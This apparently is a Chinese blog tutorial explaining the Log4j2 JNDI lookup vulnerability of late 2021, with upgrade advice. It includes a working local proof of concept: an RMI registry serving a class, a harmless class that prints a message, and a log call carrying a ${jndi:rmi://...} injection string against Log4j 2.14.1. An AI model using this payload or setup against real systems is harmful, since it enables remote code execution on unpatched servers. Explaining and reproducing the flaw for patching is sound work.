2021-12左右,log4j被爆出一个整个行业都要改的漏洞。究竟是什么漏洞这么牛掰?下面我带大家看一下。
该漏洞会在log4j2.x 而且 <=log4j2.15版本下出现。
1.漏洞原理
“ Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. ”
以上内容复制于log4j2的官方文档lookup。其清晰地说明了lookup的主要功能就是提供一种方式:使用者以某种约定的格式就可以将某些特殊的值添加到日志中
参考博客:Log4j2研究之lookup
这些特殊的值可以来源于java运行的环境、docker、profile文件、jndi等。
而jndi就可以远程调用第三方的接口拿到一些特殊的值。当黑客如果想办法给日志注入jndi代码来请求自己的rmi服务,就可以让目标服务器执行自己的代码,系统的代码如下所示
User user = Util.getCurrentUser();
// username为${jndi:rmi://localhost:8080/look}
logger.error("用户名:{}", user.getUsername());
2.问题复现
2.1 注册RMI服务器
package bugReappear;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(8080);
registry.bind("look", new ReferenceWrapper(new Reference(null, "bugReappear.Look", null)));
} catch (Exception e) {
e.printStackTrace();
}
}
}
package bugReappear;
public class Look {
static {
System.out.println("Look被执行了");
}
}
2.2 目标服务器打印日志
<!-- 引入log4j-slf4j-impl,这个是slf4j的log4j实现的依赖 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
<version>2.14.1</version>
</dependency>
package bugReappear;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class Log4jBug {
public static void main(String[] args) {
Logger logger = LoggerFactory.getLogger("log4j2");
logger.error("helloworld");
logger.error("{}登录成功", "${java:vm}");
logger.error("用户名:{}", "${jndi:rmi://localhost:8080/look}");
}
}
2.3 复现结果
开启RMI服务器之后,执行目标服务器的打印日志代码结果如下所示,目标服务器执行了RMI服务器上的代码。
3.解决办法
如果log4j版本<=2.15,上图中官方已经给出了相应的解决方案
当然,如果想永久解决好这个问题,当然是升级log4j版本,升级到log4j 2.17.0+就好了。在log4j官方文档中的jndi有段描述,log4j 2.17.0开始默认会不允许jndi来获取配置,如果要打开则要进行配置。